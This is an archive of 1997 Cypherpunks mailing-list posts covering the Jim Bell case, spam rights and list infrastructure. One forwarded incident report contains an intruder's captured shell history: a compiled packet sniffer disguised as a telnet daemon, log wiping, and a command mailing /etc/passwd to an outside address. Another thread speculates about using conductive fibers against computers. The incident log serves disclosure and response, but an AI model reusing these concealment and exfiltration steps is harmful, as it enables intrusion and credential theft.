MIME-Version: 1.0
Content-Type: text/plain


At 10:50 PM -0500 5/23/97, William H. Geiger III wrote:

>In reading the complaint Jim was using a copper coated carbon fiber mesh
>that was then to be processed (probably cut up and ground) into a fine
>pouder so it could be delivered airborn. I think that the critical
>ingrediant was the copper coating and not the carbon itself though it
>should have an additive affect for the reasons mentioned above.

???

Why make things so complicated? As I have been reading the articles and
complaints, it seeemed fairly clear that what was being talked about were
conductive fibers (I read the complaint as saying "nickel-coated," not
"copper-coated," but this is a minor point). Think: fibers like fiberglass
batting, except conductive rather than insulating.

(This is some of what the EE used on the Iraqi defense stations to disable
them.)

The whole idea of them being airborne suggests small fibers. Not powder, as
I visualize the plan.

Having said this, a lame idea. Maybe a single computer system would go
offline for some period...such outages happen all time anyway. Between
backups in other offices, in other buildings, etc., no lasting effect.

Further, I'm willing to bet the ventilation ducts do not enter directly
into "the computers." Between ordinary PCs and workstations, and even
VAXes, nearly all of them draw their cooling air from ordinary room air.

(My lab up near Portland,  coincidentally, had one of the first VAX
11/780s, surely larger (though not faster) than any 9-1-1 system now likely
to be installed...and it drew its cooling air from the surrounding room.)

The point being that airborne fibers would have a tortuous path to follow
from a rooftop duct down past the various filters (often HEPA) to get to
the inside computer rooms, and then past the foam filters typcally near the
box fans on PCs (or probably somewhat better filters on Suns and
workstations and Unisi.

In other words, pie in the sky for actually knocking out any service for a
significant amount of time and with any significant chance of success.

(I wouldn't be surprised if Jim didn't do some experiments on real
systems...that's what I'd do. Got to characterize the process before even
considering actual use. And if done properly, one might even be paid as a
consultant for doing such studies. Doesn't make one a criminal for buying
the raw materials, nor even for joking about it...especially given the
implausiblity of it actually working. Just idle speculation.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 12:08:43 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: carbon fibers (fwd)
In-Reply-To: <199705240207.VAA22060@einstein.ssz.com>
Message-ID: <199705240355.WAA08362@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705240207.VAA22060@einstein.ssz.com>, on 05/23/97 
   at 08:07 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>> Subject: carbon fibers
>> Date: Fri, 23 May 1997 21:11:00 -0500 (CDT)
>> From: ichudov@algebra.com (Igor Chudov @ home)

>> Reading all the discussions about Jim Bell, I became interested in
>> the carbon fibers that Jim allegedly planned to use to disrupt the
>> work of compiters.
>> 
>> I would appreciate if anyone explained me how these fibers work, how
>> small and thin they are, and so on. I am also curious when and how this
>> use of these fibers was invented.

>Carbon is commenly used in electronics because when compressed it
>generates a small voltage, ala your phone receiver.

>It can be both a insulator or a conductor depending on how one fills the
>outer valence band. Because its 'natural' state is -4 (it has 8 positions
>and only 4 are filled with electrons) it makes a fair conductor. Yet, it
>is not listed in most Activity Series for metals. I believe the idea is
>that since it is a reasonable conductor that when it falls across
>parallel lands on the pcb of a cpu it will short the lines. This would
>not only affect the reliability of the data because of current leakage
>but might in some cases cause an actual failure because of incorrect
>voltage or current.

In reading the complaint Jim was using a copper coated carbon fiber mesh
that was then to be processed (probably cut up and ground) into a fine
pouder so it could be delivered airborn. I think that the critical
ingrediant was the copper coating and not the carbon itself though it
should have an additive affect for the reasons mentioned above.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 24 May 1997 14:43:15 +0800
To: cypherpunks@algebra.com
Subject: Re: Timmy and the OKC Actions
Message-ID: <3.0.2.32.19970523233136.00899cc0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:29 PM 5/23/97 -0700, you wrote:
>At 10:56 AM -0700 5/23/97, Huge Cajones Remailer wrote:
>>  The US is still reeling from OK City.  Tried as it might, the US gov't
>>couldn't find an outside enemy to pin it to.  Whether
>>Timmy did it or not is again irrelevant, they needed to find
>  ^^^^^^^^^^^^^^^^^^^
>>someone to blame and did.  Now that it's the defenses turn, it
>...
>
>Hey, I _didn't_ do it. Honest. No fooling. I was more than 30 miles away
>when that blast went off, and you can't place me in OKC anytime that
>morning.

Then why was Lassie in the background of the pictures of the blast?  (You
can see her doing somersaults through the air, hurled like so much
Jagermeister.)  And what about the truck driven by June Lockhart?  And that
robot waving his arms yelling "Danger! Danger!"

Oops...  Sorry. Wrong Timmy.


---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 13:18:03 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: System Attack & FBI (fwd)
Message-ID: <199705240433.XAA22417@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

For your amusement.

                                       Jim Choate
                                       CyberTects
                                       ravage@ssz.com


Forwarded message:
> From ravage@ssz.com Fri May 23 23:28:29 1997
> From: Jim Choate <ravage@ssz.com>
> Message-Id: <199705240428.XAA22380@einstein.ssz.com>
> Subject: System Attack & FBI
> To: users@einstein.ssz.com
> Date: Fri, 23 May 1997 23:28:27 -0500 (CDT)
> Cc: staff@einstein.ssz.com
> X-Mailer: ELM [version 2.4 PL23]
> Content-Type: text
> Content-Length: 7477      
> 
> 
> Hi,
> 
> As you will see below I have been tracking a waskelly wabbit for the last
> few weeks. I apologize for any interference with your access but I could
> not let it go without some sort of responce.
> 
> I *STRONGLY* advise you to change your password immediately.
> 
> I do not expect anyone other than myself to have to talk with the FBI.
> 
> If you have any questions please feel free to email me.
> 
>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com
> 
> 
> Forwarded message:
> 
> > From rberger@rberger.com Fri May 23 23:13:34 1997
> > Message-Id: <3.0.1.32.19970523234327.006eefec@rberger.com>
> > X-Sender: rberger@rberger.com
> > X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
> > Date: Fri, 23 May 1997 23:43:27 -0500
> > To: Jim Choate <ravage@einstein.ssz.com>
> > From: rberger <rberger@rberger.com>
> > Subject: Re: You have a hacker!
> > In-Reply-To: <199705240343.WAA22299@einstein.ssz.com>
> > Mime-Version: 1.0
> > Content-Type: text/plain; charset="us-ascii"
> > 
> > Thank you very much for sending us an e-mail and your logs.   We are going
> > through
> > our FTP logs at this time.   Although initial results don't show
> > corresponding ftps at these
> > times or files.     Although a week ago we were fighting a hacker using the
> > a same
> > techquies as shown by the telnet sessions.   So we will be monitoring
> > everything very
> > closely here for a few more days.  Our next search will be the accounts
> > logged in on
> > these ports at the times given.   We have been working with the FBI, along
> > with several
> > other ISP's in Dallas.   If you capture any other logs please send them
> > again to
> > root@applink.net.   If you dont hear anything from us in less than 24 hours
> > please re-send
> > your e-mail message again to my domain rberger@rberger.com just in case the
> > root e-mail/logs are being monitored & modified.
> > 
> > Regards,
> > 
> > Randall Berger,  CEO
> > AppLink Corporation
> >  
> > 
> > At 10:43 PM 5/23/97 -0500, you wrote:
> > >
> > >Hello,
> > >
> > > 
> > > My name is Jim Choate, I own and operate CyberTects a small office - home
> > > office consultancy in Austin, TX. Over the last couple of weeks I have been
> > > tracking an intrusion on my system that has involved your systems. I would
> > > appreciate any help you can provide in resolving this issue.
> > > 
> > > I believe a home account for the perp is dkny007@hotmail.com
> > > 
> > > I will attach below the relevant files.
> > > 
> > > 
> > >                                                     Jim Choate
> > >                                                     CyberTects
> > >                                                     ravage@ssz.com
> > > 
> > >  --------------------------------------------------------------------------
> > > 
> > > bbixler   ttyp0        app42-73.applink Fri May 23 16:04 - 16:06  (00:01)
> > > bbixler   ttyp0        app42-75.applink Fri May 23 00:21 - 00:28  (00:07)
> > > bbixler   ttyp0        app42-90.applink Thu May 22 13:33 - 13:37  (00:03)
> > > bbixler   ttyp0        app41-50.applink Wed May 21 20:01 - 20:31  (00:30)
> > > bbixler   ttyp0        app41-47.applink Wed May 21 19:53 - 19:54  (00:00)
> > > bbixler   ttyp0        app42-85.applink Wed May 21 18:46 - 19:00  (00:14)
> > > bbixler   ttyp0        app42-75.applink Wed May 21 10:39 - 10:40  (00:00)
> > > bbixler   ttyp0        app41-52.applink Sun May 18 23:04 - 23:11  (00:07)
> > > bbixler   ttyp1        app42-78.applink Sat May 17 18:46 - 18:49  (00:02)
> > > bbixler   ttyp1        app42-67.applink Sat May 17 01:22 - 01:26  (00:03)
> > > bbixler   ftp          fw6-10.ppp.iadfw Wed May 14 22:27 - 22:28  (00:01)
> > > bbixler   ttyp1        app42-94.applink Tue May 13 16:12 - 16:18  (00:05)
> > > bbixler   ttyp0        app42-85.applink Mon May 12 17:02 - 17:05  (00:02)
> > > bbixler   ttyp0        app42-73.applink Sun May 11 12:29 - 12:36  (00:07)
> > > bbixler   ttyp0        app42-71.applink Sat May 10 20:15 - 20:17  (00:01)
> > > bbixler   ttyp0        app42-71.applink Sat May 10 19:40 - 19:50  (00:09)
> > > bbixler   ttyp0        max2-800-04.eart Wed Feb 12 18:05 - 18:06  (00:00)
> > > 
> > > wtmp begins Sun Feb  2 16:36 
> > > 
> > >  --------------------------------------------------------------------------
> > > 
> > > whoami
> > > ls
> > > mv perl-ex.sh /tmp/.bgg
> > > mkdir /tmp/.bg
> > > cd /tmp
> > > cd .bg
> > > ls
> > > lynx
> > > ls
> > > gcc linsniffer.c 
> > > ls
> > > ps
> > > who
> > > w
> > > ps aux
> > > a.out &
> > > ls
> > > ifconfig
> > > /sbin/ifconfig
> > > ls
> > > tail -f tcp.log 
> > > free
> > > ls
> > > cat tcp.log 
> > > cd ..
> > > ls
> > > w
> > > cd
> > > cd ..
> > > ls
> > > cd ..
> > > cd /etc
> > > ls
> > > minicom
> > > cd ..
> > > ls
> > > cd cdrom.
> > > cd cdrom
> > > ls
> > > cd ..
> > > cd
> > > ls
> > > cd bin
> > > ls
> > > cd ..
> > > cd ..
> > > ls
> > > w
> > > finger
> > > cd Pphantom
> > > cat /etc/passwd | grep Pphantom
> > > cd phantom
> > > ls
> > > ls -al
> > > cat .bash_history 
> > > cd /etc
> > > cat hosts
> > > ls
> > > cd /tmp
> > > cd .bg
> > > cat tcp.log 
> > > exit
> > > cd .bg
> > > ls
> > > w
> > > ls
> > > ls -al
> > > cat tcp.log 
> > > ifconfig
> > > /sbin/ifconfig
> > > ls
> > > exit
> > > mv x.sh /tmp
> > > cd .bg
> > > ls
> > > cd /tmp
> > > ls
> > > mv x.sh .bg
> > > cd .bg
> > > ls
> > > kill -9 14523
> > > ps aux
> > > mv a.out in.telnetd
> > > ls
> > > rm tcp.log 
> > > ./in.telnetd &
> > > exit
> > > pico tcp.log 
> > > ls
> > > ps aux
> > > kill -9 16282
> > > ls
> > > ./in.telnetd &
> > > exit
> > > cat /dev/null > tcp.log
> > > w
> > > exit
> > > pico tcp.log 
> > > ls
> > > ls -al
> > > cd /etc
> > > cat passwd
> > > mail dkny007@hotmail.com < passwd
> > > exit
> > > w
> > > ls -al
> > > pico tcp.log 
> > > echo /dev/null > tcp.log 
> > > ls -al
> > > ps aux
> > > quit
> > > exit
> > > id
> > > w
> > > ftp 
> > > ls
> > > mkdir /home/ftp/.tmp
> > > mkdir /home/ftp/.tmp/.sub
> > > mv linsniff /home/ftp/.tmp/.sub/
> > > cd /home/ftp/.tmp/.sub/
> > > mv linsniff in.te1netd
> > > ls -l
> > > chmod 755 in.te1netd 
> > > in.te1netd &
> > > ps
> > > ps aux
> > > killall in.te1netd
> > > ls
> > > ls -a
> > > ls -l
> > > in.te1netd &
> > > /home/ftp/.tmp/.sub/in.te1netd
> > > /home/ftp/.tmp/.sub/in.te1netd
> > > ls -s
> > > rm in.te1netd 
> > > cd
> > > ls
> > > mv hello .h311o
> > > ftp 
> > > ls
> > > mv linsniffer.c /home/ftp/.tmp/.sub/
> > > cd /home/ftp/.tmp/.sub
> > > ls
> > > cc linsniffer.c 
> > > mv a.out in.te1netd
> > > chmod 755 in.te1netd 
> > > ls
> > > rm linsniffer.c 
> > > in.te1netd &
> > > exit
> > > cd ..
> > > mv apache.tgz .bg
> > > cd .bg
> > > ls
> > > tar xfvz apache.tgz 
> > > cd apache_1.2b10/
> > > ls
> > > cd src
> > > make
> > > ls
> > > ./Configure 
> > > make
> > > ls
> > > cd ..
> > > ls
> > > cd cgi-bin/
> > > ls
> > > cd ..
> > > ls
> > > cd ..
> > > ls
> > > w
> > > rm -rf apache*
> > > lynx
> > > ls
> > > tar xfvz apache_1.1.3.tar.gz 
> > > cd apache_1.1.3
> > > ls
> > > cd src
> > > ls
> > > ./Configure 
> > > make
> > > ls
> > > cd ..
> > > ls
> > > cd ..
> > > ls
> > > rm -rf apache_1.1.3
> > > ls
> > > rm -rf apache_1.1.3.tar.gz 
> > > w
> > > exit
> > > kill -9 14551
> > > ls
> > > ls -al
> > > cd ..
> > > ls
> > > cd /home
> > > ls
> > > cd ftp
> > > ls -al
> > > cd .tm[p
> > > cd .tmp/
> > > ls
> > > ls -al
> > > cd .sub/
> > > ls
> > > rm *
> > > cd ..
> > > cd ..
> > > rm -rf .tmp/
> > > ls
> > > cd
> > > ls
> > > cd /root
> > > ls
> > > cd ssz
> > > ls
> > > cd ..
> > > ls
> > > cd pgp
> > > ls
> > > cd ..
> > > cd etc
> > > ls
> > > cd ..
> > > ls
> > > cd /
> > > ls
> > > exit
> > > id
> > > crontab -e
> > > ls
> > > vi .sub
> > > crontab -e
> > > ls
> > > cat /home/ftp/.tmp/.sub/tcp.log
> > > ps aux
> > > who
> > > cd /home/ftp
> > > ls -a
> > > mkdir .tmp/.sub
> > > mkdir .tmp
> > > cd .tmp
> > > exit
> > > cd
> > > ls
> > > cd /root
> > > ls
> > > cd khg-0.5/
> > > ls
> > > cd ..
> > > cat .bash_history 
> > > ls
> > > cd /etc
> > > ls
> > > cat hosts
> > > exit
> > > 
> > >
> > >
> > >
> > 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 24 May 1997 15:12:33 +0800
To: cypherpunks@toad.com
Subject: Re: The Bell Plan
In-Reply-To: <199705231935.PAA07649@dhp.com>
Message-ID: <19970523234634.53126@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 03:35:04PM -0400, lucifer Anonymous Remailer said:
>-----BEGIN PGP SIGNED MESSAGE-----
>
[clever forgery deleted]

>GovernmentMonger
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: 5.0 beta
>Charset: noconv
>
>iQCVAwUBM4XjSRpK214wNeaBAQExsgP/fh3tfF+dATYzYtETNEnDf1jn0aCkU7/r
>2BVORjdhBDGvOJLvJ/Yh1sHeaTNTiPPV/cv02nt0J+zf0V9RdYXXwGkjRaAXVSSA
>l5JgrN4XvCYEybUODvFsgXPcLY3p09L2QT4a4fIC264bfZLQuPmTSJqgPQDowSDB
>n4LKu727Dkg=
>=z3Er
>-----END PGP SIGNATURE-----
>
>-----BEGIN PGP PUBLIC KEY BLOCK-----
>Version: 5.0 beta
>
>mQCNAy/BlpsAAAEEAOfc0TkSKlc9TQbw4wYUpL+0YZ8rMXTGZOLUHJl5KZgGDHRR
>EiTtNcRB8Vl8psIT6GZ5FPu1VKduC3aaNuQEV9wKrXYzkmsMjtWIbYxsUZ9Rq/Vs
>6Sl4B3GSKPMudhlSuaGWUZxhVTPdn0eLUz9hlRz/kZR2opurmRpK214wNeaBAAUR
>tCBLZW50IENyaXNwaW4gPGtlbnRAc29uZ2JpcmQuY29tPokAlQMFEDOFUs2X26C5
>/DVozQEBR34D/2TzjEn8ING2PNdVB4K0Vy9HcXgKyKf81eACfxhC6J5cBr+MCUIj
>7xAbsj2556EBDJKf955Od5xIauPfx7woMb+b7eTJg3lOekar327jSEX1feAfYG+e
>yhgPid04U0FdkGpLhqMdc6qSXHCYcnD9RVw27x4np+eE/iiQVzy+SF5eiQCVAwUQ
>L8GYbBvasrrONMAdAQFExwP/UK82Y4+Q7E6q+P8RcC4wPcJEx1I5VAmBuBc3eI1T
>h+Lw3f4RdJ9eaK6ooip8GQ3SwLOiNRN3Mj0+K/7y+T2smP0wLpcP6IXqs4kO0v0e
>QGd2uz6dvtWWb02jMuaG6gyt2SqhJ/hgHzgF22RsqO5Wtk5N/W/oG0f6L3trjNPR
>hh8=
>=G7R+
>-----END PGP PUBLIC KEY BLOCK-----

Please note that the above key/sig is not mine.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 24 May 1997 15:13:39 +0800
To: cypherpunks@toad.com
Subject: Re: The Natives Are Getting Restless
Message-ID: <3.0.32.19970523233006.00731ae4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


some using Huge Cajones Remailer wrote:

>List members should be the first to rise above the base tactics of 
>the enemy. We need to develop a language of inclusion that unites all 
>of these seemingly disparate peoples against the common enemy.
..................................................


Typical collectivist thinking, the other side of  "good cop/bad cop".    

There is nothing wrong with having a separate identity.    Neither is there
a need to have a common enemy.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 24 May 1997 15:06:28 +0800
To: cypherpunks@toad.com
Subject: Re: Key Recovery / The True Story
Message-ID: <3.0.32.19970523234946.0072e5bc@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Ernest Hua wrote:

>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?
..................................................................


Is there a Universal Authority who can definitively answer questions like
this, so that we can know what is right/wrong and win philosophical debates?

Ask any person/organization, and they will provide the answer which they
feel comfortable with.   Those who choose to uphold certain standards of
behavior will reply in reference to a concern for the violation of these
ideals; those who only deal with action in practical cause/effect scenarios
will reply in terms of their immediate concerns for physical safety from
terrorists wherever/however one may route them.

Some people's perspectives are short & narrow, some people see things in a
larger, integrated context.  Each will answer according to their ability to
evaluate antecedents & consequents.   Eventually, one must decide for
oneself what one will choose to live with, to tolerate.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 24 May 1997 12:58:57 +0800
To: cypherpunks@algebra.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <3.0.1.32.19970524004852.006eee08@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:58 PM 5/23/97 -0700, Tim May wrote:
>
>So, I think Bell is in serious trouble on several charges: the tax evasion
>charges, the SS number charges (which may be subsumed in the tax charges),
>and the "stink bomb" charges.
>
>The other various claims and charges in the complaint, things like the
>anti-government essays and the "assault" rifles found, don't seem likely to
>go anywhere.

Agreed.  As we all know, tax evasion charges have been used by the IRS when
the FBI has felt that it is unable to prove other charges.  Its use against
organized crime is a prime example.

While I do not practice in Fed'l courts, in state courts the specific statute
that a defendant is accused of violating must be cited.  Hence, since I am
not familiar with federal complaints, I did note with curiousity that Bell's
complaint specifically cites statutes that Bell allegedly violated regarding
the SS number charges and the failure to file income tax returns.  Perhaps,
the other acts, wherein no specific statutes are alleged to have been
violated, are mentioned as a means to make a showing that Bell is a danger to
the community and, therefore, a factor for asking the magistrate to set no
bail.

>Whether disappointingly or with relief, I noticed no mention of
>"Cypherpunks," a name which surely would have been scattered amongst the
>various documents on his computer.

I would be, however, very surprised if it was *not* "scattered amongst the
various documents on his computer."

>We'll see what comes up during the trial.

If there is one.  As you stated above and IMHO based upon what I have read,
the IRS has a strong case regarding the SS numbers/tax evasion charges.  This
matter may very well be resolved via a plea bargain.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM4Zy/T5A4+Z4Wnt9AQF36QQAqeXTM1r67b/zN3mK9UFzFnuXUVjNPXVs
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A0r5mlcoEw3SvXMJPzBDiQJ9fW75Y8pktFQYO4G+Wm0RfEnvFR8zkdqDtET7nkTp
ME3YrkYFJLM=
=b3MR
-----END PGP SIGNATURE-----


*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 13:59:03 +0800
To: cypherpunks@manifold.algebra.com
Subject: Too few cypherpunks nodes.
Message-ID: <199705240549.AAA11795@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ladies and Gentlemen,

As the time goes on and I see what is happening inside and outside our
list, I am getting increasingly concerned about the small number of hosts
in the cypherpunks network.

Practically, most of the people use only two nodes, Kent's and mine, and
thanks to Jim, we have three operating ones. I do not believe that it is
good enough.

If anyone has any creative idea of how to get a couple more reliable
nodes, please share it.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 24 May 1997 16:13:58 +0800
To: Cypherpunks@toad.com
Subject: Re: Geiger learns to read (was Re: spam is a good thing)
In-Reply-To: <19970522144701.16280@bywater.songbird.com>
Message-ID: <19970524005533.59448@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 08:29:59AM -0500, William H. Geiger III wrote:
>In <19970522144701.16280@bywater.songbird.com>, on 05/22/97 
>   at 03:47 PM, Kent Crispin <kent@songbird.com> said:
[...]
>>Your analogy is flawed in many ways.  1) The entities entering your 
>>house have an identity; what is actually entering your computer 
>>equipment is just bits, which have no identity.  Spamfords bits are  no
>>different than anyone elses.  2) By the very act of connecting to  the
>>network you agree to recieve any bits that are automatically  routed to
>>you.

Note the "automatically routed" clause.

>No not at all. Just because I am connected to the network I am under no
>obligation to accept a single bit.

The only way you can really accomplish that is to disconnect.  The 
interface/modem/whatever in your computer blindly receives the bits that 
are sent to it.  There isn't a thing you can do about it except 
disconnect.  (I consider turning your machine off as disconnecting.)

[...]
>Obviously you have not ever entered into contract agreements with an
>accesses provider.

Jeez.  I *am*, in my small way, an access provider.  And, of course, 
I have a contract with my upstream.

>There is no obligation on my part to receive a single
>bit.

You don't read very well, do you?  I said "automatically routed 
bits".  You can't stop receiveing those bits unless you turn your 
machine off.

>If I never run a sendmail daemon then I will never receive a single
>e-mail message regardless of how many are aimed at my servers. This is the
>same with any TCP/IP service.

Yes, because the network layer negotiation doesn't complete the 
connection, and the other side agrees to stop sending.  Basically, you 
have convinced the other side to stop sending.  You still receive any bits 
on the wire, and the only way you can stop that is by disconnecting.

>The only obligation I have with my upstream
>provider is to pay my bill. If I choose to bounce everything that is
>routed from Spamford it is my right to do so as it is *MY* equipment.

Good, though trivial, point.  Not what I was talking about, though.

[...]

>>Identification isn't the problem at all.  The problem is that you  have
>>no grounds on which to base a suit.  Just as you can't sue me for 
>>sending this mail -- it's an exchange you entered into of your own  free
>>will.
>
>For the occasional spam then a lawsuit would be pointless. If you decided
>to dump 10,000 messages a day and deny the use of my equipment by myself
>and my clients then I would have a very strong case for litigation. You
>seem to forget that this is MY equipment and it is you who have no rights
>regarding the use of it. I have the final say so as to who uses it and
>how.

[...]

>>All flawed analogies.  You *did* agree to recieve mail -- in fact,  that
>>is one of the primary uses of your computer -- and you did *not*  place
>>any restrictions on that connection.  Furthermore, you can't -- 
>>no one will sell you an internet connection at any level where they 
>>will accept a contractual obligation to keep spam from getting to you.
>
>Once again it is you who have it wrong. I have agreed to nothing other than to >pay my bill for my connection. If Cyberpromo starts filling my clients mailboxe>s with spam and tieing up bandwidth I am under an obligation to my client to st>op him from doing so. My obligation is to my clients to provide the services th>ey have paid for. I would be remiss in my duties if I allowed such actions to c>ontinue both to my contractual obligations to my clients but also my feudatory 

You mean "fiduciary", I presume.  But "feudatory" is cute.

>responsibilities to the stockholders of my corporation.

Recall that -- what is it? CyberPromo -- sued AOL, and forced them to 
not block their spam...though I guess AOL was able to give their 
customers the ability to block, and there was an appeal -- I don't 
remember the details anymore...

>You do not have a right to send mail to my system I have an obligation to my cl>ients to allow them to receive mail. This is a important distinction that needs> to be made. You have no rights regarding the use of my equipment. Furthermore >if your actions deprive the use of my equipment by myself and my clients you ca>n find yourself both financially and criminally liable.

I agree that if I flood your box with the intent of denying service I 
would be liable.  That's not the normal mode of spammers, though.  
As an individual you only receive one or a very few copies of a 
particular message.  It's just that there are a great many messages.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 14:05:33 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: System Attack & FBI (fwd)
In-Reply-To: <199705240433.XAA22417@einstein.ssz.com>
Message-ID: <199705240556.AAA11857@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim,

I was almost in tears as I was reading your logs.

Instead of simply asking your users to change passwords (always a great 
idea!) please let them know that multiuser Unix systems never offer any
real security or privacy to the users.

I hope that the hacker did not leave any other trojans besides rogue Apache
and in.telnetd.

igor

Jim Choate wrote:
> 
> Hi,
> 
> For your amusement.
> 
>                                        Jim Choate
>                                        CyberTects
>                                        ravage@ssz.com
> 
> 
> Forwarded message:
> > From ravage@ssz.com Fri May 23 23:28:29 1997
> > From: Jim Choate <ravage@ssz.com>
> > Message-Id: <199705240428.XAA22380@einstein.ssz.com>
> > Subject: System Attack & FBI
> > To: users@einstein.ssz.com
> > Date: Fri, 23 May 1997 23:28:27 -0500 (CDT)
> > Cc: staff@einstein.ssz.com
> > X-Mailer: ELM [version 2.4 PL23]
> > Content-Type: text
> > Content-Length: 7477      
> > 
> > 
> > Hi,
> > 
> > As you will see below I have been tracking a waskelly wabbit for the last
> > few weeks. I apologize for any interference with your access but I could
> > not let it go without some sort of responce.
> > 
> > I *STRONGLY* advise you to change your password immediately.
> > 
> > I do not expect anyone other than myself to have to talk with the FBI.
> > 
> > If you have any questions please feel free to email me.
> > 
> >                                                  Jim Choate
> >                                                  CyberTects
> >                                                  ravage@ssz.com
> > 
> > 
> > Forwarded message:
> > 
> > > From rberger@rberger.com Fri May 23 23:13:34 1997
> > > Message-Id: <3.0.1.32.19970523234327.006eefec@rberger.com>
> > > X-Sender: rberger@rberger.com
> > > X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
> > > Date: Fri, 23 May 1997 23:43:27 -0500
> > > To: Jim Choate <ravage@einstein.ssz.com>
> > > From: rberger <rberger@rberger.com>
> > > Subject: Re: You have a hacker!
> > > In-Reply-To: <199705240343.WAA22299@einstein.ssz.com>
> > > Mime-Version: 1.0
> > > Content-Type: text/plain; charset="us-ascii"
> > > 
> > > Thank you very much for sending us an e-mail and your logs.   We are going
> > > through
> > > our FTP logs at this time.   Although initial results don't show
> > > corresponding ftps at these
> > > times or files.     Although a week ago we were fighting a hacker using the
> > > a same
> > > techquies as shown by the telnet sessions.   So we will be monitoring
> > > everything very
> > > closely here for a few more days.  Our next search will be the accounts
> > > logged in on
> > > these ports at the times given.   We have been working with the FBI, along
> > > with several
> > > other ISP's in Dallas.   If you capture any other logs please send them
> > > again to
> > > root@applink.net.   If you dont hear anything from us in less than 24 hours
> > > please re-send
> > > your e-mail message again to my domain rberger@rberger.com just in case the
> > > root e-mail/logs are being monitored & modified.
> > > 
> > > Regards,
> > > 
> > > Randall Berger,  CEO
> > > AppLink Corporation
> > >  
> > > 
> > > At 10:43 PM 5/23/97 -0500, you wrote:
> > > >
> > > >Hello,
> > > >
> > > > 
> > > > My name is Jim Choate, I own and operate CyberTects a small office - home
> > > > office consultancy in Austin, TX. Over the last couple of weeks I have been
> > > > tracking an intrusion on my system that has involved your systems. I would
> > > > appreciate any help you can provide in resolving this issue.
> > > > 
> > > > I believe a home account for the perp is dkny007@hotmail.com
> > > > 
> > > > I will attach below the relevant files.
> > > > 
